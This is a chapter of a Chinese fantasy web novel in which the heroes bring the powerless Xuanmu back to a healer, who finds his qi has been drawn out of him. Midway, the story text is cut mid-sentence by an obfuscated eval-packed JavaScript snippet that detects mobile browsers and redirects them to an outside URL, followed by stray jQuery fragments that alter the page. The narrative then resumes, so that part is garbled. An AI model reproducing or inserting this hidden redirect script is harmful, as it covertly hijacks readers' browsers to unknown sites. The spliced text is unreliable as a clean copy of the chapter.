司梧秋 作品

39. 炁

溯昇和岁和回到客栈时,客栈整个一楼空空荡荡,就宛凉一个人坐在中央,面前放着一大盆的螃蟹。


“呦,还知道回来呢?”宛凉嘴里叼着螃蟹腿,一阵阴阳怪气。


啊!她就说自己好像忘了些什么事情,原来是把宛凉忘了。


不过还好,她还会自己找回客栈不错。


正好她在这,岁和顺便就跟她说了,“明日一早我们还要再回神医谷一趟。”


宛凉手里的螃蟹瞬间就不香了,好吧,本来也不香了,等他们回来都等凉了。


她把嘴里叼着的螃蟹腿一扔,扔进了面前的陶盆中,秀眉拧起,漏出一丝不悦,“不是,今日才刚从神医谷回来,明日又去?来回这么多躺,坐船玩啊还是爬山玩啊?”


岁和也知道,这事是他们理亏,先是没打一声招呼就抛下宛凉,再是刚离开神医谷就又要回去,所以这次她耐心的跟宛凉解释道:“对不住了,遇到了些突发状况,需要神医谷那边帮忙,如果你不想去可以在渡口镇等我们,或者先自己回九重宫阙。”


这话瞬间点燃了宛凉,她一个箭步冲到岁和面前,吓了岁和一跳。


“我真是……上辈子,欠!你!的!”说完她就气冲冲地跑上了楼。


岁和有些蒙,她也不知道自己怎么惹着宛凉了,是因为今晚抛下她的事?还是再回神医谷的事?可是她也道歉了啊?也让宛凉自行选择去留。


她扭头看向身边的溯昇,希望对方能给她一个答案,可惜这次溯昇也摇了摇头。


第二天一早宛凉还是准时出现在客栈一楼,哪怕还是臭着脸。岁和为了哄她,还特意去早市买了一堆茶点给她路上吃,宛凉的脸色才好了很多。


岁和主动哄人的次数屈指可数,放以前她才没有这种待遇,伸手还不打笑脸人呢。


玄穆也在约定的时间到达了码头,身后还跟着小蛮,她好似是刚哭过,双眼还是通红肿胀的。


溯昇又去买了一艘船,这次买的船比上次买的结实多,也能更好的抵御祁阳山前的风暴。


几人封了法力,登上了船,为了以防万一,溯昇连玄穆那微弱的力量都一起封了起来。


宛凉自从上了船之后就变得有些不对劲,她经常会盯着玄穆和小蛮的方向看,然后一阵若有所思。她平常是个十分闹腾的人,安静不下来,从来都没有过现在这种状态,岁和一眼就看出了她的不对。


“你一直盯他看?你见过他?”岁和直接问了她。


宛凉开始还在踌躇要不要说,许久之后才点了点头。


岁和问:“能说吗?”


她之所以这么问是确信宛凉没有在现实中见过玄穆,所以宛凉说见过他,那就只能是在梦里见过。


如果是已经发生过的梦,宛凉自然是可以说的,因为梦中的情形已无法改变,但如果是还没发生过的,那他就不能说,是禁忌。


“我们这次回神医谷,是因为他吗?能跟我说说他的事吗?”宛凉反问岁和,没有回答她的话。


“是,他是魔族人,一年前出了一些事情,失踪了,我们也是昨天才找到。他身上受了些伤,法力尽失,所以我们想带他去神医谷看看伤势。”岁和只给她讲了个大概。


宛凉又独自思虑了很久,岁和也不急,她知道宛凉需要根据现在的结果去判断她的那个梦到底有没有发生过。


“等神医帮他看过后再说吧!”到最后宛凉还是什么也没说。


船缓缓向祁阳山方向进发,还好溯昇记性好,经过上次来回一遭早已记住了路线,少走了许多歪路,不出意外,两天左右他们就可以到祁阳山了。


只是苦了小蛮一个凡人跟着他们奔波。这一船上除了小蛮都不是凡人,根本不需要吃饭睡觉,就把多带些口粮这样的嘱咐抛掷到九霄云外去了。所以先前他们没有跟玄穆说这船要开两天多,于是玄穆和小蛮就只临时备了几个饼子。可不幸的是,玄穆现在法力尽失,体质沦为凡人,也要吃东西。


需要进食的人从一个变为了两个,宛凉把上船前岁和买给她的所有茶点都贡献了出来,也仅够他们省着吃两天的。


好在这次真的很快就到了祁阳山,下了船之后,溯昇和岁和用自己那点微弱的法力给两天没吃饱的人渡了点力气,因为接下来他们要面临的,是三个时辰的山路。


尽管如此,他们还是半夜才到达神医谷中时,溯昇轻车熟路地去敲宋黎的门,然后再等着睡眼惺忪的宋黎去敲响他师兄的门。


他们时隔不到七天又回来的事情还是挺惊动神医谷众人的,大半夜的连白灵泽和范子清都被他们吵醒,披着衣服震惊的看着他们,还有累倒在地上的玄穆,一脸震惊。


“明天再说。”溯昇只留下了这么一句,就跟岁和一起走去了他们上次居住的树屋。


翌日清晨又是溯昇和岁和最早起来,但今日他们没有让玄穆睡到自然醒,而是在起来后就去敲了玄穆的房门,准备带他去见穆长留。


住在隔壁的小蛮听见他们敲玄穆的门也醒了过来,立刻穿戴好了衣服,要跟他们一同前去。


岁和没想到小蛮的接受度如此良好,能在短时间内就接受玄穆不是凡人这个事情,甚至她还怀疑过小蛮有问题,比如说也是妄仙门教徒什么的,但她这几天也仔细地观察过,实在没发现小蛮有什么问题。


如果妄仙门的教徒都能像范子清一样呆呆傻傻就好认了。


穆长留听闻溯昇和岁和昨夜又赶了回来,就知道一定是有急事,所以一早就候着了。


他的手指刚抚上玄穆的手腕,表情就是一惊,随后眉头越皱越紧,脸色越来越难看,溯昇光看他的表情,就知道玄穆的情况并不好。


过了好一会儿,他才将手从玄穆的手腕上拿下来,一副欲言又止的样子,最后只说了句,“需要有人回避吗?”


溯昇和岁和哪能不懂他这话中的意思,那就是他接下来说


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960975|158352||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


的话,只能让自己人听。


可现在穆长留面前总共就他们这四个人。溯昇和岁和不必说,兹事体大,可不仅仅是玄穆一个人的事,自然是要听的,玄穆是当事人,理应知道自己的身体状况,最后只剩下了小蛮。


其实岁和是想让小蛮先回避的,但玄穆不止事被月老的红线搅了脑子还是怎么回事,在岁和开口前就开口说了句:“这是我未过门的妻子,我的身体状况她理应知道。”


然而穆说完这话后,溯昇也没有反驳他,岁和就由着他们去了。


穆长留说:“我治不了他。”


“为何?”溯昇问。


“他身体没有问题,先前受的伤如今已过去了大半年,也痊愈的差不多了。我是大夫,只能医治病人,健康的人,我可医治不了。”


此话一出,周围陷入一阵安静。


“那他的法力呢?”溯昇沉声问。


穆长留摇了摇头:“法力是用念力和炁转化而成。我们平常修炼的是炁,而炁由念力催动,现如今他身上已经没有了炁,只有念力,自然无法运用法术。简单来说,就是他身体中的所有炁,都被抽走了,他之所以还能运用一些简单的法术,只不过是念力足够强大。”


随后他又看向玄穆,对他说道:“当然,你念力如此强大,想要在修炼出炁也不是什么难事,如果你需要,这边有辅助练炁的丹药,会对你有帮助。”


玄穆面色铁青,没有回答他的话。


由穆长留这么一解释,岁和瞬间想起了那些被吸取了精气和灵力的尸体,他们不正是被人抽走了身体中的所有炁吗?


而溯昇首先想到的,是他们前几天讨论的流转术。


他看了眼穆长留,恰好也对上了穆长留看他的视线。


他们想到一块了。


这很像流转术,但是流转术有双方自愿的禁忌,他们是如何打破这个禁忌,将别人身上的炁转移到自己身上的?


他们回来这一趟,到最后只换得了一个没法治的结局。


玄穆出去的时候面色依旧不太好,溯昇没有动,岁和知道他跟穆长留还有话要讲,也跟着他们一起出去了。


所有人都离开了以后,溯昇直接问他:“你不是说如果不是双方自愿,流转术也无法将别人身上的法力转移到自己身上吗?”


“流转术早已失传,他身上发生的事确实很像被流转之术吸取了炁,古书上的记载也不一定就是正确的。”


“但既然他们身上发生了这种事情,就说明六界中确实是有一种法术可以把别人的炁吸走,算不是流转术也会是别的术法。”


“而且我要提醒您一句。”穆长留难得产生如此担忧之色,“吸取炁的人,虽不能将所有吸来的炁都转化为自己的炁,但吸取的多了,总会变得越来越强大厉害,如果你们不尽快找到这个人,纵容他再用这种方法吸取更多人的炁,那恐怕到时候,他会强大到,六界之内,无人能敌!